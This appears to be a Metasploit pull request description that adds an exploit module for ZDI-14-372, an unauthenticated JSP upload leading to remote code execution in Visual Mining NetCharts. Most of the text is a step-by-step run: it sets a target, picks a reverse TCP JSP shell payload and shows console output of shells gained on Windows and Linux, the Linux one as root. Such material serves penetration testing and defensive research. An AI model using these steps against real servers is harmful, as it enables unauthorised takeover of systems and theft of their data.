Add module for ZDI-14-372 Visual Mining NetCharts Remote Code Execution 

This pull request includes:

* Exploit for ZDI-14-372 Visual Mining NetCharts Remote Code Execution (http://www.zerodayinitiative.com/advisories/ZDI-14-372/)
* Small fix for Rex::MIME::Message, because its method ```#to_s``` was adding a bad first new line when the message hadn't headers. Specs have been updated too.
* Fix for Msf::Payload::JSP to randomize some variables used in the JSP payloads. In this exploit the ```out``` variable was creating a conflict when JASPER was trying to compile the JSP. I've randomized some 'common' variable names.


Verification
----------

- [x] Ensure which travis is green
- [x] Download Visual Mining Netcharts 7.0. It's available for download from: http://www.visualmining.com/download-ncd-ncs/
- [x] At the time of writing there is no patch, verify which installers have not been updated, my shasum signatures:

```
51f406615a52b33b517c1de15e06c37d3dc1284f  NetChartsServer7.0.exe
5497b39d93b4fe8559d08c86276560b688b19798  NetChartsServer7.0.linux.bin
```

- [x] Install Visual Mining NetCharts on a Windows or Linux system. I've used Windows 2008 and Ubuntu 10.04. But it should work in any Visual Mining NetCharts supported OS.
- [x] While installing feel free to do a "Complete installation" or just a "Production Server" installation. The vulnerabilities exist in both deployments.
- [x] Verify which the service is running after installation, access http://localhost:8001/Admin
- [x] Access the web administration console, default credentials: Admin / Admin
- [x] Access to Security / Manage Users
- [x] You need to do some operation related to users: Change the Admin's password or create a new user. It is important, otherwise the authentication bypass won't work.
- [x] Open msfconsole and use the module 

```
msf > use exploit/multi/http/visual_mining_netcharts_upload
```

- [x] Set the remote host target (RHOST)

```
msf exploit(visual_mining_netcharts_upload) > set RHOST 172.16.158.134
RHOST => 172.16.158.134
```

- [x] Run the check command, ensure it detects the service

```
msf exploit(visual_mining_netcharts_upload) > check
[*] 172.16.158.134:8001 - The target service is running, but could not be validated.
```

- [x] Set the payload to one of the JSP payloads (reverse_tcp or bind_tcp)

```
msf exploit(visual_mining_netcharts_upload) > set payload java/jsp_shell_reverse_tcp
payload => java/jsp_shell_reverse_tcp
msf exploit(visual_mining_netcharts_upload) > set LHOST 172.16.158.1
LHOST => 172.16.158.1
```

- [x] Exploit, hopefully enjoy a session!

* windows

```
msf exploit(visual_mining_netcharts_upload) > exploit

[*] Started reverse handler on 172.16.158.1:4444
[*] 172.16.158.134:8001 - Uploading JSP payload Gfs0XXWCWBN.jsp...
[+] 172.16.158.134:8001 - JSP payload uploaded successfully
[*] 172.16.158.134:8001 - Executing payload...
[+] Deleted ./webapps/Admin/archive/ArchiveCache/Gfs0XXWCWBN.jsp

Microsoft Windows [Version 6.0.6002]
Copyright (c) 2006 Microsoft Corporation.  All rights reserved.

C:\Program Files\Visual Mining\NetCharts Server 7.0\Server>echo 4232034632;echo mreyStVzgdccAVmbMQucqJmxbgPXQjnb
4232034632;echo mreyStVzgdccAVmbMQucqJmxbgPXQjnb

C:\Program Files\Visual Mining\NetCharts Server 7.0\Server>
C:\Program Files\Visual Mining\NetCharts Server 7.0\Server>rm -f "./webapps/Admin/archive/ArchiveCache/Gfs0XXWCWBN.jsp" >/dev/null ; echo ' & attrib.exe -r ".\webapps\Admin\archive\ArchiveCache\Gfs0XXWCWBN.jsp" & del.exe /f /q ".\webapps\Admin\archive\ArchiveCache\Gfs0XXWCWBN.jsp" & echo " ' >/dev/null;echo BAuuirxaniPBsuAXbQBPhmqSDKYEVapG
" ' >/dev/null;echo BAuuirxaniPBsuAXbQBPhmqSDKYEVapG

C:\Program Files\Visual Mining\NetCharts Server 7.0\Server>
C:\Program Files\Visual Mining\NetCharts Server 7.0\Server>
```

* linux

```
msf exploit(visual_mining_netcharts_upload) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] 172.16.158.133:8001 - Uploading JSP payload 9JkF7nKxOXK3.jsp...
[+] 172.16.158.133:8001 - JSP payload uploaded successfully
[*] 172.16.158.133:8001 - Executing payload...
[+] Deleted ./webapps/Admin/archive/ArchiveCache/9JkF7nKxOXK3.jsp

3314479140
cYfmhmfzJYidueBrQjHsNUGVecEdUzuW
OcCwWIcoJpzqEGPmpNeuqswglQpjvZuY
id
uid=0(root) gid=0(root) groups=0(root)
^C
Abort session 2? [y/N]  y
```